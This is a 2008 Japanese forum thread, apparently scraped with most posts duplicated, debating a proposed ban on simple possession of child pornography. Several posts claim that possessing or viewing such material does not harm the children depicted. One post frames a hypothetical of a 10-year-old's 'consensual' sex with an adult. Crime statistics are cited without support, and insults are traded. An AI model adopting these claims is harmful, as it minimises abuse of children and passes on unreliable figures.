ショタ漫画やBL同人誌がどうなるのか、気になると思うけど。
ショタ漫画やBL同人誌がどうなるのか、気になると思うけど。
862 ：名無しさん＠九周年：2008/08/20(水) 15:02:26 ID:akKKNkN+0
>>849
警察がどんな画像をどんな基準でしょっぴいたのか分からないんだから、
摘発が増えてたって当てにならん。
>>851
>別にユートピアを目指して規制に賛成してるんじゃないぞ。
児童の人権が守られるのがすばらしい社会とは思わないが、人権は重視されるべきだって？
あんた自分がなに言ってるのか分かってる？
警察がどんな画像をどんな基準でしょっぴいたのか分からないんだから、
摘発が増えてたって当てにならん。
>>851
>別にユートピアを目指して規制に賛成してるんじゃないぞ。
児童の人権が守られるのがすばらしい社会とは思わないが、人権は重視されるべきだって？
あんた自分がなに言ってるのか分かってる？
予言する、この法案が通れば真っ先にやられるのは新風
864 ：名無しさん＠九周年：2008/08/20(水) 15:03:24 ID:vIz6bhzY0
865 ：名無しさん＠九周年：2008/08/20(水) 15:03:25 ID:1NOs+8Hn0
反対派の主張もまとめてくれ
特に児童ポルノそのものに反対なのか、恣意的運用に問題があるのかどっちなんだ？
特に児童ポルノそのものに反対なのか、恣意的運用に問題があるのかどっちなんだ？
>>856
麻薬の話ならスレチとさっき言われたぞ
麻薬の話ならスレチとさっき言われたぞ
867 ：名無しさん＠九周年：2008/08/20(水) 15:03:58 ID:goo4DzbW0
>>853
十分抑止力は上がっているでしょ。
その後、似たようなシリーズは作られたのか？
もちろん犯罪はゼロにはできないから、少数どこかにはあるかも知れんが
逮捕を恐れて、大々的には作られなくなっただろ。
十分抑止力は上がっているでしょ。
その後、似たようなシリーズは作られたのか？
もちろん犯罪はゼロにはできないから、少数どこかにはあるかも知れんが
逮捕を恐れて、大々的には作られなくなっただろ。
>>830
>ありえないかありえるかの脳内妄想じゃなくて、実際の議論の場の話をしてくれ。
実際の議論の場で、「児童の人権が一切アピールされていない」というのはどこから出てきた話だ？
君は何があれば、児童の人権保護を訴えていると認めてくれるんだ…。
議論の開始時に毎回、いちいち目的を読み上げなきゃいけないのか？
この法律そのものが、目的として児童の人権保護をうたっているんだから、
一つ一つの議論は児童の人権保護の為になされているものだ。
それを否定するなら、その根拠を示してくれよ…。
>ありえないかありえるかの脳内妄想じゃなくて、実際の議論の場の話をしてくれ。
実際の議論の場で、「児童の人権が一切アピールされていない」というのはどこから出てきた話だ？
君は何があれば、児童の人権保護を訴えていると認めてくれるんだ…。
議論の開始時に毎回、いちいち目的を読み上げなきゃいけないのか？
この法律そのものが、目的として児童の人権保護をうたっているんだから、
一つ一つの議論は児童の人権保護の為になされているものだ。
それを否定するなら、その根拠を示してくれよ…。
869 ：名無しさん＠九周年：2008/08/20(水) 15:05:01 ID:13xaLRybO
>>863
だいたいがそういう使われ方だろうな
だいたいがそういう使われ方だろうな
870 ：名無しさん＠九周年：2008/08/20(水) 15:05:13 ID:IgUX3cnJ0
アニメ漫画規制推進派の麻生さん頑張れ！
871 ：名無しさん＠九周年：2008/08/20(水) 15:06:10 ID:tvuKj83Y0
お前ら愛の形っていろいろあるってわかってないだろ （メガネｸｲｯ
872 ：名無しさん＠九周年：2008/08/20(水) 15:06:27 ID:/wqP4ago0
>>865
> 特に児童ポルノそのものに反対なのか、恣意的運用に問題があるのかどっちなんだ？
多くの反対派は
児童ポルノ：反対（ただし、芸術を意図したヌード作品、創作物は除く）
恣意的運用：反対かつ、現状では充分そうなると考えられる
だと思うぞ
> 特に児童ポルノそのものに反対なのか、恣意的運用に問題があるのかどっちなんだ？
多くの反対派は
児童ポルノ：反対（ただし、芸術を意図したヌード作品、創作物は除く）
恣意的運用：反対かつ、現状では充分そうなると考えられる
だと思うぞ
>>854
処罰が確定とかそういう話じゃなくて、逮捕できるかできないかの話。
多くの国民が潜在的犯罪者にされるってこと。逮捕されてないだけで、逮捕可能な犯罪者に
されてしまうわけだ。
それも、発覚したら社会的生命を断たれる重大な犯罪者になってしまう。
それをそんな曖昧なことでいいわけないだろ。
>>868
また悪魔の証明か。
議論されてるっていうなら、その部分のソースを出してくれ。
君のは毎回、想像でしかない。一切アピールされてないなんて話はこっちはしていない。
君が児童の人権保護のため、単純所持していると児童が傷ついてるからっていう理由で
やってるっていうから、そのソースを出せと言ってるんだ。
議事録にあるだろ。
処罰が確定とかそういう話じゃなくて、逮捕できるかできないかの話。
多くの国民が潜在的犯罪者にされるってこと。逮捕されてないだけで、逮捕可能な犯罪者に
されてしまうわけだ。
それも、発覚したら社会的生命を断たれる重大な犯罪者になってしまう。
それをそんな曖昧なことでいいわけないだろ。
>>868
また悪魔の証明か。
議論されてるっていうなら、その部分のソースを出してくれ。
君のは毎回、想像でしかない。一切アピールされてないなんて話はこっちはしていない。
君が児童の人権保護のため、単純所持していると児童が傷ついてるからっていう理由で
やってるっていうから、そのソースを出せと言ってるんだ。
議事録にあるだろ。
>>844
何回同じ事書かせるんだ…。
過去レス見てね。
所持を禁止した方がより拡散の危険性が減る。
これが所持禁止でしかできない範囲。
所持し、見ることは出演児童の人権侵害になる。
これも所持禁止でしか規制できない範囲。
>>849
>摘発が後を絶たないってほど多くない。
多いか少ないかは各自の判断があっても、摘発が後を絶たないのは事実だろ。
その摘発対象物の出演児童の人権侵害が存在することは否定できない。
何回同じ事書かせるんだ…。
過去レス見てね。
所持を禁止した方がより拡散の危険性が減る。
これが所持禁止でしかできない範囲。
所持し、見ることは出演児童の人権侵害になる。
これも所持禁止でしか規制できない範囲。
>>849
>摘発が後を絶たないってほど多くない。
多いか少ないかは各自の判断があっても、摘発が後を絶たないのは事実だろ。
その摘発対象物の出演児童の人権侵害が存在することは否定できない。
875 ：名無しさん＠九周年：2008/08/20(水) 15:07:48 ID:goo4DzbW0
>>866
麻薬の話なんかしてないし、麻薬は迷惑をかける恐れがあるだろ。
幻覚症状やらで奇抜な行動や迷惑行為を行う廃人になる可能性がある。
部屋に児童ポルノを置いておいても、人間の脳神経は破壊されない。
麻薬の話なんかしてないし、麻薬は迷惑をかける恐れがあるだろ。
幻覚症状やらで奇抜な行動や迷惑行為を行う廃人になる可能性がある。
部屋に児童ポルノを置いておいても、人間の脳神経は破壊されない。
877 ：名無しさん＠九周年：2008/08/20(水) 15:08:05 ID:AjLQwf9y0
878 ：名無しさん＠九周年：2008/08/20(水) 15:08:36 ID:bypcW39z0
879 ：名無しさん＠九周年：2008/08/20(水) 15:09:20 ID:651Ef1zrO
>>864
なんで罪のない犠牲者が生まれる前提なのかわからない。
勝手に反対派が拡大解釈してるだけじゃないか。
あと日本の規制は他国に比べて厳しくないとか言ってる奴がいるが
なんでそれならシーファーみたいなのが出て来るのかね？
恐れてないで規制してみれば良くなるかもしれないじゃないか。
ＰＳＥ法みたいな痛ましい犠牲はまずでないだろ。
なんで罪のない犠牲者が生まれる前提なのかわからない。
勝手に反対派が拡大解釈してるだけじゃないか。
あと日本の規制は他国に比べて厳しくないとか言ってる奴がいるが
なんでそれならシーファーみたいなのが出て来るのかね？
恐れてないで規制してみれば良くなるかもしれないじゃないか。
ＰＳＥ法みたいな痛ましい犠牲はまずでないだろ。
880 ：名無しさん＠九周年：2008/08/20(水) 15:09:20 ID:/wqP4ago0
【 児童ポルノ事件急増！の嘘 − むしろ減っている 】
72 ：風の谷の名無しさん＠実況は実況板で ：2008/08/17(日) 03:24:37 ID:GEsNMSMo
警視庁の最新情報。「児童ポルノの検挙数」と発表されるのはこの中のデータ。
平成２０年上半期のいわゆる出会い系サイトに関連した事件の検挙状況について
ttp://www.npa.go.jp/cyber/statics/h20/pdf42.pdf
■児童買春・児童ポルノ規制法違反（H20上半期）
・児童買春 284件（前年同期比-73件）
・児童ポルノ 35件（前年同期比 -9件）
これが報道では「児童ポルノ検挙数300件以上」と報じられる。
「児童買春・児童ポルノ規制法違反」という枠組みだから、いわゆる援助交際も含まれるわけだ。
含まれるっていうか、大半が援交なのは見ればすぐわかると思う。
「児童ポルノ」ってのは、ネット掲示板に児童ポルノ写真貼ったり、DVD売ったりとかそういうの。
>>875
なぜなら、すでに脳神経が壊れた人間が児童ポルノを収集するからな
なぜなら、すでに脳神経が壊れた人間が児童ポルノを収集するからな
>>875
だから使わずに部屋に置いておくだけでなんでそうなるんだよハゲ
だから使わずに部屋に置いておくだけでなんでそうなるんだよハゲ
883 ：名無しさん＠九周年：2008/08/20(水) 15:10:36 ID:d8gUr3oL0
>>849
>だからその傷ついてる例を出してくれって言ってるのに。
正確には根拠になるのは、「傷ついている」ではなくて、「人権侵害がある」だよ。
児童ポルノへの出演が人権侵害だと、法律で決定されているんだから、仕方ないだろ。
人権侵害だと法律で認定されていることを、
君が個人的に納得できるまで説明することはできないかもね。
10歳の女の子がオッサンと合意の下で楽しく苦痛もなくSexしたら、
「傷ついてない」といつまでも頑なに言いはることはできても、
「法律上の人権侵害」を否定できないだろ？
>だからその傷ついてる例を出してくれって言ってるのに。
正確には根拠になるのは、「傷ついている」ではなくて、「人権侵害がある」だよ。
児童ポルノへの出演が人権侵害だと、法律で決定されているんだから、仕方ないだろ。
人権侵害だと法律で認定されていることを、
君が個人的に納得できるまで説明することはできないかもね。
10歳の女の子がオッサンと合意の下で楽しく苦痛もなくSexしたら、
「傷ついてない」といつまでも頑なに言いはることはできても、
「法律上の人権侵害」を否定できないだろ？
まとめ乙。>>852
１と２に共通するのは、「児童（１７歳含む）」の判断力をまるで認めない姿勢と
「児童ポルノ（ヌードも含む）」に対する感覚は人によって様々なのに
その多様性を否定して画一的な価値観を押し付けようとする姿勢だね。
４の上記１と２は国民の総意というのは、国民のほとんどが
この法律の内容を知らないという現実を無視した詭弁だ。
一番理解しがたいのが３だな。
冤罪や捜査機関の不祥事の実例が山ほどあるのになぜ現実をみないのか？？
１と２に共通するのは、「児童（１７歳含む）」の判断力をまるで認めない姿勢と
「児童ポルノ（ヌードも含む）」に対する感覚は人によって様々なのに
その多様性を否定して画一的な価値観を押し付けようとする姿勢だね。
４の上記１と２は国民の総意というのは、国民のほとんどが
この法律の内容を知らないという現実を無視した詭弁だ。
一番理解しがたいのが３だな。
冤罪や捜査機関の不祥事の実例が山ほどあるのになぜ現実をみないのか？？
886 ：名無しさん＠九周年：2008/08/20(水) 15:11:40 ID:vIz6bhzY0
>>874
＞所持を禁止した方がより拡散の危険性が減る。
＞これが所持禁止でしかできない範囲。
より拡散の危険性を減らす方法は幾らでもあるし、罪もない被害者を生む所持禁止だけはない。
＞所持し、見ることは出演児童の人権侵害になる。
＞これも所持禁止でしか規制できない範囲。
所持して見させないことは、見てほしい出演児童の人権侵害になる。
＞所持を禁止した方がより拡散の危険性が減る。
＞これが所持禁止でしかできない範囲。
より拡散の危険性を減らす方法は幾らでもあるし、罪もない被害者を生む所持禁止だけはない。
＞所持し、見ることは出演児童の人権侵害になる。
＞これも所持禁止でしか規制できない範囲。
所持して見させないことは、見てほしい出演児童の人権侵害になる。
887 ：名無しさん＠九周年：2008/08/20(水) 15:12:08 ID:goo4DzbW0
>>874
＞所持を禁止した方がより拡散の危険性が減る。
拡散させた段階で処罰すれば良い。
本当は、拡散行為は親告罪にしても良いと思うが。
＞所持し、見ることは出演児童の人権侵害になる。
ならない。単純所持や単純視聴は、被写体に何の影響力も及ぼさない。
＞所持を禁止した方がより拡散の危険性が減る。
拡散させた段階で処罰すれば良い。
本当は、拡散行為は親告罪にしても良いと思うが。
＞所持し、見ることは出演児童の人権侵害になる。
ならない。単純所持や単純視聴は、被写体に何の影響力も及ぼさない。
>>874
>所持を禁止した方がより拡散の危険性が減る。
発信数世界ナンバー1は、所持禁止しているアメリカだぞ。
>多いか少ないかは各自の判断があっても、摘発が後を絶たないのは事実だろ。
んじゃ各自の判断でいいから、君は多いと思ってるのか少ないと思ってるのか書いてくれ。
>その摘発対象物の出演児童の人権侵害が存在することは否定できない。
だからそれは悪魔の証明なんだってば。
人権侵害が存在することを示してくれ。「逮捕されてるから」っていうのは理由にならない。
その事例が被害者が傷ついてるかどうかは関係ないからだ。傷ついていようがいまいが逮捕
される。そういう判断基準で逮捕してないからな。
傷ついてる事例を具体的に出してくれ。
>>879
シーファーは日本ユニセフが呼んだっぽい。
>所持を禁止した方がより拡散の危険性が減る。
発信数世界ナンバー1は、所持禁止しているアメリカだぞ。
>多いか少ないかは各自の判断があっても、摘発が後を絶たないのは事実だろ。
んじゃ各自の判断でいいから、君は多いと思ってるのか少ないと思ってるのか書いてくれ。
>その摘発対象物の出演児童の人権侵害が存在することは否定できない。
だからそれは悪魔の証明なんだってば。
人権侵害が存在することを示してくれ。「逮捕されてるから」っていうのは理由にならない。
その事例が被害者が傷ついてるかどうかは関係ないからだ。傷ついていようがいまいが逮捕
される。そういう判断基準で逮捕してないからな。
傷ついてる事例を具体的に出してくれ。
>>879
シーファーは日本ユニセフが呼んだっぽい。
889 ：名無しさん＠九周年：2008/08/20(水) 15:13:24 ID:akKKNkN+0
>>875
>所持を禁止した方がより拡散の危険性が減る。
>これが所持禁止でしかできない範囲。
今の時代簡単にコピーできるのに減るわけない。
減ったとしても、犯罪者や警察といった関係者、はたまた社会が事件を覚えている限り当人にとっては苦痛だろう。
精神的苦痛とか言い出したら際限が無くなる。
>所持し、見ることは出演児童の人権侵害になる。
>これも所持禁止でしか規制できない範囲。
違法と判断するには警察だけでなくいろいろな人の判断も加わるべきだろう。
なにしろ価値観の問題だからね。警察だけに判断させていいものではない。
そのためには見なきゃならんのだが、あんたはそれも止めろというの？
>所持を禁止した方がより拡散の危険性が減る。
>これが所持禁止でしかできない範囲。
今の時代簡単にコピーできるのに減るわけない。
減ったとしても、犯罪者や警察といった関係者、はたまた社会が事件を覚えている限り当人にとっては苦痛だろう。
精神的苦痛とか言い出したら際限が無くなる。
>所持し、見ることは出演児童の人権侵害になる。
>これも所持禁止でしか規制できない範囲。
違法と判断するには警察だけでなくいろいろな人の判断も加わるべきだろう。
なにしろ価値観の問題だからね。警察だけに判断させていいものではない。
そのためには見なきゃならんのだが、あんたはそれも止めろというの？
890 ：名無しさん＠九周年：2008/08/20(水) 15:13:49 ID:PjjUY2Of0
891 ：名無しさん＠九周年：2008/08/20(水) 15:14:22 ID:/wqP4ago0
【 規制派がよく言う詭弁 】
> ・G8で禁止していないのは日本とロシアのみ
> 世界で禁止していないのは130ヵ国以上です。
> また、18歳未満という高い設定をしているのはアメリカとカナダなど
> 少数の国のみで、ヌードを禁止している国も数えるほどです。
> ・内閣府調査で「有害情報を規制すべき」という世論が多勢であった
> これはかなり恣意的な調査といえます。
> 理由は、性的な内容の調査を「面接」で行い、8割以上がよく知らないという状況で
> 「有害情報」という言葉を使い、また誘導尋問し、しかも調査が平日の日中である
> からです。
> ・日本が児童ポルノの大国であるとする主張について
> 99年の法律施行以前に日本のサーバー（データを置くところ）が海外の人々に利用
> されていたため起こったのではないかという話です。
> 問題は、規制派は今でもこの主張を繰り返すということです。
詳しくは以下のサイトで
■児童ポルノ法改正「単純所持禁止」の問題点まとめ
ttp://sirooni.moe.to/exp/jipo.html
892 ：名無しさん＠九周年：2008/08/20(水) 15:14:31 ID:goo4DzbW0
893 ：名無しさん＠九周年：2008/08/20(水) 15:14:50 ID:ysFQJYSm0
統計上はポルノを規制するほど性犯罪は増加する。
児童ポルノを規制している国としていない国の
児童に対する性犯罪を人口比でみるとよくわかる。
児童ポルノを規制している国としていない国の
児童に対する性犯罪を人口比でみるとよくわかる。
894 ：名無しさん＠九周年：2008/08/20(水) 15:15:00 ID:1NOs+8Hn0
>>872
＞児童ポルノ：反対（ただし、芸術を意図したヌード作品、創作物は除く）
恣意的運用：反対かつ、現状では充分そうなると考えられる
芸術を意図したヌード作品、創作物は除くと言うことは要するに規制は要らないといっていることと同義だよな？
恣意的運用を危惧しているのはスレを見ていればわかるがそんなこと言い出したら現在でもその気になれば恣意的運用ができる法などいくらでもある。
国家・司法・警察が暴走することを前提に議論するのはナンセンスなのでは？
自衛隊が暴走して軍国主義に戻るかもしれないから自衛隊は廃止すべきだって思う？
＞児童ポルノ：反対（ただし、芸術を意図したヌード作品、創作物は除く）
恣意的運用：反対かつ、現状では充分そうなると考えられる
芸術を意図したヌード作品、創作物は除くと言うことは要するに規制は要らないといっていることと同義だよな？
恣意的運用を危惧しているのはスレを見ていればわかるがそんなこと言い出したら現在でもその気になれば恣意的運用ができる法などいくらでもある。
国家・司法・警察が暴走することを前提に議論するのはナンセンスなのでは？
自衛隊が暴走して軍国主義に戻るかもしれないから自衛隊は廃止すべきだって思う？
895 ：名無しさん＠九周年：2008/08/20(水) 15:15:18 ID:vIz6bhzY0
>>888
＞シーファーは日本ユニセフが呼んだっぽい。
いつまでデマに踊らされているんだ？
まったく「シーファーシーファー」と。彼は本国アメリカの使いに過ぎないし本国の意見の代弁者に過ぎない。
バカか？
＞シーファーは日本ユニセフが呼んだっぽい。
いつまでデマに踊らされているんだ？
まったく「シーファーシーファー」と。彼は本国アメリカの使いに過ぎないし本国の意見の代弁者に過ぎない。
バカか？
>>892
児童の人権は使うたびに侵害されるけどな
児童の人権は使うたびに侵害されるけどな
>>884
>児童ポルノへの出演が人権侵害だと、法律で決定されているんだから、仕方ないだろ。
だからその所持とは関係ないだろそれ。
深夜に児童をTV出演させるのは児童福祉法だかで禁止だが、だからってそのTV映像を所持
してる一般人は逮捕されないだろ。
>「傷ついてない」といつまでも頑なに言いはることはできても、
>「法律上の人権侵害」を否定できないだろ？
議論が滅茶苦茶だ。「傷ついてるから」って理由での取り締まりのはずなのに、傷ついてなくても
に摩り替えてきたか。
所持は法律上の人権侵害にはならない。名誉毀損が認定された週刊誌記事を持っている人は
人権侵害していることにはならない。持ってるだけだからだ。
>>894
メリットとデメリットで、メリットがないから恣意的運用が問題視されてるんだよ。
所持を逮捕してなんかいいことがあるのか？
>児童ポルノへの出演が人権侵害だと、法律で決定されているんだから、仕方ないだろ。
だからその所持とは関係ないだろそれ。
深夜に児童をTV出演させるのは児童福祉法だかで禁止だが、だからってそのTV映像を所持
してる一般人は逮捕されないだろ。
>「傷ついてない」といつまでも頑なに言いはることはできても、
>「法律上の人権侵害」を否定できないだろ？
議論が滅茶苦茶だ。「傷ついてるから」って理由での取り締まりのはずなのに、傷ついてなくても
に摩り替えてきたか。
所持は法律上の人権侵害にはならない。名誉毀損が認定された週刊誌記事を持っている人は
人権侵害していることにはならない。持ってるだけだからだ。
>>894
メリットとデメリットで、メリットがないから恣意的運用が問題視されてるんだよ。
所持を逮捕してなんかいいことがあるのか？
>>856
児童の人権を侵害した。
>>860
その出演児童の人権を保護しているんだろ。
人権の定義に各国で違いがあっても、
日本国内では日本の法律による人権侵害認定が有効なのは当り前だろ。
>>862
>児童の人権が守られるのがすばらしい社会とは思わないが、
>人権は重視されるべきだって？
>あんた自分がなに言ってるのか分かってる？
宗教的・ユートピア的な意味で「素晴らしい社会」というほどのものではなく、
ただ、そこに具体的な児童の人権侵害があるから、
「基本的に守られるべき所有権も例外的に限定される」ということだ。
法律ってのはそういうものに過ぎないと思うよ。
それぞれ重要な権利のどちらかを優先せざるを得ないということ。
児童の人権を侵害した。
>>860
その出演児童の人権を保護しているんだろ。
人権の定義に各国で違いがあっても、
日本国内では日本の法律による人権侵害認定が有効なのは当り前だろ。
>>862
>児童の人権が守られるのがすばらしい社会とは思わないが、
>人権は重視されるべきだって？
>あんた自分がなに言ってるのか分かってる？
宗教的・ユートピア的な意味で「素晴らしい社会」というほどのものではなく、
ただ、そこに具体的な児童の人権侵害があるから、
「基本的に守られるべき所有権も例外的に限定される」ということだ。
法律ってのはそういうものに過ぎないと思うよ。
それぞれ重要な権利のどちらかを優先せざるを得ないということ。
899 ：名無しさん＠九周年：2008/08/20(水) 15:17:22 ID:akKKNkN+0
>>890
そもそもインターネット自体が情報を拡散するためにつくられたものだ。
児童ポルノや違法情報はもとより、俺やU+kpcgWk0の書き込みだって半永久的に残ってしまう。
あとから「あれはまずかった」などと思っても取り返しは付かないんだよ。
そもそもインターネット自体が情報を拡散するためにつくられたものだ。
児童ポルノや違法情報はもとより、俺やU+kpcgWk0の書き込みだって半永久的に残ってしまう。
あとから「あれはまずかった」などと思っても取り返しは付かないんだよ。
900 ：名無しさん＠九周年：2008/08/20(水) 15:17:26 ID:qHY8fcGn0
エロ関係が厳しく規制されてる韓国がレイプ大国なのに説得力無いわ
901 ：名無しさん＠九周年：2008/08/20(水) 15:17:55 ID:goo4DzbW0
画像の単純所持の取り締まりってどうするんだ？
やっぱ、ネットを検閲とか、家宅捜索してでっち上げとかするのかな？
やっぱ、ネットを検閲とか、家宅捜索してでっち上げとかするのかな？
>>864
その「児童の見られたくない権利」が少し違うね。
正確には「児童の見られたくない権利」は、
「児童ポルノによってもたらされる児童の精神的苦痛、精神発達上の問題、教育上の問題」だろうなあ。
その両辺を比較した上で、後者が重視された時に規制が認められるんだと思うよ。
その「児童の見られたくない権利」が少し違うね。
正確には「児童の見られたくない権利」は、
「児童ポルノによってもたらされる児童の精神的苦痛、精神発達上の問題、教育上の問題」だろうなあ。
その両辺を比較した上で、後者が重視された時に規制が認められるんだと思うよ。
人がケガしたり死んだりしてるグロ画像・動画も単純所持規制しろよｗ
905 ：名無しさん＠九周年：2008/08/20(水) 15:19:51 ID:y8KZGx3B0
地震が発生しました。
埼玉県民の方は津波の被害にご注意下さい。
埼玉県民の方は津波の被害にご注意下さい。
>>895
シーファーはアメリカの白紙委任状を持ってるわけじゃない。奴は奴個人の考えがある。
アメリカの全権委任されてるわけではない。だいたいアメリカが本気で日本にやらせるつもりなら
年次要望書に書くだろ。シーファーだけじゃなく他の奴も言うだろ。
各議員や外交官等は、自国や他国の圧力団体などからの要請で動くことが多い。
日本の議員だってそうだろ。
>>898
>その出演児童の人権を保護しているんだろ。
他の法律はそうなってないだろ。
なんでこれだけ拡大解釈してるんだ？
シーファーはアメリカの白紙委任状を持ってるわけじゃない。奴は奴個人の考えがある。
アメリカの全権委任されてるわけではない。だいたいアメリカが本気で日本にやらせるつもりなら
年次要望書に書くだろ。シーファーだけじゃなく他の奴も言うだろ。
各議員や外交官等は、自国や他国の圧力団体などからの要請で動くことが多い。
日本の議員だってそうだろ。
>>898
>その出演児童の人権を保護しているんだろ。
他の法律はそうなってないだろ。
なんでこれだけ拡大解釈してるんだ？
907 ：名無しさん＠九周年：2008/08/20(水) 15:20:54 ID:651Ef1zrO
>>895
答えが出たじゃないか。
シーファーの意見はアメリカの意見でシーファーの
報告がアメリカの持つ日本の情報になる。
彼の要求を反古にして本国に帰していいのか？ ダメだよね。
まあそれ以前に児童保護が為されてないから
規制と、あと別の法律も絶対必要なんだが
答えが出たじゃないか。
シーファーの意見はアメリカの意見でシーファーの
報告がアメリカの持つ日本の情報になる。
彼の要求を反古にして本国に帰していいのか？ ダメだよね。
まあそれ以前に児童保護が為されてないから
規制と、あと別の法律も絶対必要なんだが
賛成派は
なぜ単純所持を禁止しているはずのアメリカ合衆国が
今でも児童ポルノ発信数ナンバーワンなのかを考えたことがあるのかな
マフィア化したポルノ制作元が議員のキンタマにぎっちゃってやりたい放題になっちゃったんだよ。
レア感や希少価値を高めた為に、背徳感に味をしめたロリコンが増えたんだよ。
一日数千人もの子供が誘拐される暗黒社会と化しているんだよ。
俺はそんな世界嫌だよ。怖いだろ。
なぜ単純所持を禁止しているはずのアメリカ合衆国が
今でも児童ポルノ発信数ナンバーワンなのかを考えたことがあるのかな
マフィア化したポルノ制作元が議員のキンタマにぎっちゃってやりたい放題になっちゃったんだよ。
レア感や希少価値を高めた為に、背徳感に味をしめたロリコンが増えたんだよ。
一日数千人もの子供が誘拐される暗黒社会と化しているんだよ。
俺はそんな世界嫌だよ。怖いだろ。
909 ：名無しさん＠九周年：2008/08/20(水) 15:21:15 ID:goo4DzbW0
>>898
＞>>856
＞児童の人権を侵害した。
だから単純所持では侵害されないといっているだろ。
Ａが、○日○時に、児童ポルノＢを廃棄したら
同一時刻から、被写体Ｂの精神的苦痛が軽減したり増大したりするのか？
両者は全く無関係なんだよ。
＞>>856
＞児童の人権を侵害した。
だから単純所持では侵害されないといっているだろ。
Ａが、○日○時に、児童ポルノＢを廃棄したら
同一時刻から、被写体Ｂの精神的苦痛が軽減したり増大したりするのか？
両者は全く無関係なんだよ。
911 ：名無しさん＠九周年：2008/08/20(水) 15:21:37 ID:1NOs+8Hn0
>>901
君の気づかないうちに他人に君の私生活を除かれていたら侵害してないといえるのかい？
君の気づかないうちに他人に君の私生活を除かれていたら侵害してないといえるのかい？
912 ：名無しさん＠九周年：2008/08/20(水) 15:21:38 ID:vIz6bhzY0
>>894
＞国家・司法・警察が暴走することを前提に議論するのはナンセンスなのでは？
もっと危機管理意識を持て。バカな能天気だなお前は。
＞自衛隊が暴走して軍国主義に戻るかもしれないから自衛隊は廃止すべきだって思う？
可能性は当然ある。ただ、廃止することによってそれ以上の危険性があるから仕方なく自衛隊はある。
関係のないつまらん例を出すな。
>>903
それは違う。こちらも実証されてない理論は持ち出してないのだから、お前もルールを守れ。
精神発達上の問題、教育上の問題、これらはまだ実証されてない。
＞国家・司法・警察が暴走することを前提に議論するのはナンセンスなのでは？
もっと危機管理意識を持て。バカな能天気だなお前は。
＞自衛隊が暴走して軍国主義に戻るかもしれないから自衛隊は廃止すべきだって思う？
可能性は当然ある。ただ、廃止することによってそれ以上の危険性があるから仕方なく自衛隊はある。
関係のないつまらん例を出すな。
>>903
それは違う。こちらも実証されてない理論は持ち出してないのだから、お前もルールを守れ。
精神発達上の問題、教育上の問題、これらはまだ実証されてない。
>>873
>君が児童の人権保護のため、単純所持していると児童が傷ついてるからって
>いう理由でやってるっていうから、そのソースを出せと言ってるんだ。
俺の過去レスとこれまでの記事見てるか？
それだけが根拠じゃないと言ってるだろ。
児童の人権侵害が根拠だと言ってる。
そのアピールは俺の過去レスでも、過去の記事でもいくらでもあるだろ。
児童ポルノ規制法が、児童の人権保護をうたっている以上当り前だ。
>君が児童の人権保護のため、単純所持していると児童が傷ついてるからって
>いう理由でやってるっていうから、そのソースを出せと言ってるんだ。
俺の過去レスとこれまでの記事見てるか？
それだけが根拠じゃないと言ってるだろ。
児童の人権侵害が根拠だと言ってる。
そのアピールは俺の過去レスでも、過去の記事でもいくらでもあるだろ。
児童ポルノ規制法が、児童の人権保護をうたっている以上当り前だ。
>>887
>ならない。単純所持や単純視聴は、被写体に何の影響力も及ぼさない。
それはないだろ。
実際にニュー速＋のスレだけでも二人ほど
子どもの頃知らないうちに撮られたけど、それが今でも人に見られるのが苦痛だ
という書き込みがあった。まあ所詮2chだからこれが本当かどうかはわからないけど、
児童虐待被害者関連のホームページに行くだけで、これと同じような話はいくらでも載ってるぞ。
こういう傷ついた人たちを救うために協力する気にはならないか。
>ならない。単純所持や単純視聴は、被写体に何の影響力も及ぼさない。
それはないだろ。
実際にニュー速＋のスレだけでも二人ほど
子どもの頃知らないうちに撮られたけど、それが今でも人に見られるのが苦痛だ
という書き込みがあった。まあ所詮2chだからこれが本当かどうかはわからないけど、
児童虐待被害者関連のホームページに行くだけで、これと同じような話はいくらでも載ってるぞ。
こういう傷ついた人たちを救うために協力する気にはならないか。
915 ：名無しさん＠九周年：2008/08/20(水) 15:23:54 ID:36EDbdLv0
まあ、反対派の諸君、ここでうだうだやってねーで、
署名や、警察や党への意見メールはしたか？
こんなところで、規制派相手にくだくだやってるだけじゃ、何も変わらんよ。何も。
署名や、警察や党への意見メールはしたか？
こんなところで、規制派相手にくだくだやってるだけじゃ、何も変わらんよ。何も。
916 ：名無しさん＠九周年：2008/08/20(水) 15:24:45 ID:akKKNkN+0
>>903
児童ポルノでなくたって生きてりゃ精神的なショックを受けることはたくさんある。
それを一々規制していったら社会が成り立たない。
>>907
児童の権利条約に参加すらしてないアメリカに言われたかないねｗ
児童ポルノでなくたって生きてりゃ精神的なショックを受けることはたくさんある。
それを一々規制していったら社会が成り立たない。
>>907
児童の権利条約に参加すらしてないアメリカに言われたかないねｗ
917 ：名無しさん＠九周年：2008/08/20(水) 15:25:17 ID:/wqP4ago0
>>894
> 芸術を意図したヌード作品、創作物は除くと言うことは要するに規制は要らないといっていることと同義だよな？
NO 幼児が明らかに性行為をしているような実写は規制が必要
と大抵の反対派は考えているはず
> 恣意的運用を危惧しているのはスレを見ていればわかるが
>そんなこと言い出したら現在でもその気になれば恣意的運用ができる法などいくらでもある。
Doubt 定義があいまい＆情報所持の統制不可能から、他の法に比べ恣意的運用の危惧は突出している
> 国家・司法・警察が暴走することを前提に議論するのはナンセンスなのでは？
NO 実際にさまざまな不祥事や冤罪事件が起きている
ただし、“児童を保護する法律”という主旨に反対しているのではなく
そういった法を作るなら充分な恣意的運用の統制と冤罪対策をしろと要求している
> 芸術を意図したヌード作品、創作物は除くと言うことは要するに規制は要らないといっていることと同義だよな？
NO 幼児が明らかに性行為をしているような実写は規制が必要
と大抵の反対派は考えているはず
> 恣意的運用を危惧しているのはスレを見ていればわかるが
>そんなこと言い出したら現在でもその気になれば恣意的運用ができる法などいくらでもある。
Doubt 定義があいまい＆情報所持の統制不可能から、他の法に比べ恣意的運用の危惧は突出している
> 国家・司法・警察が暴走することを前提に議論するのはナンセンスなのでは？
NO 実際にさまざまな不祥事や冤罪事件が起きている
ただし、“児童を保護する法律”という主旨に反対しているのではなく
そういった法を作るなら充分な恣意的運用の統制と冤罪対策をしろと要求している
918 ：名無しさん＠九周年：2008/08/20(水) 15:25:18 ID:VbjPOEkq0
未成年が事件の加害者になった時、一般的な報道では顔や本名は晒さない
実情がどうあれ、未成年者の人権を守るためってのが一応の理由だ
けどこの板ではどうだ？顔や本名晒せって意見は耐えないし、
凶悪犯罪だと実名晒されることも珍しくない
「人権保護のため加害児童の顔や本名を晒した者は罰する、
ただし取り締まりきれないので顔や本名を見た者も同罪にする」
なんて法律におまいら賛成できるか？
実情がどうあれ、未成年者の人権を守るためってのが一応の理由だ
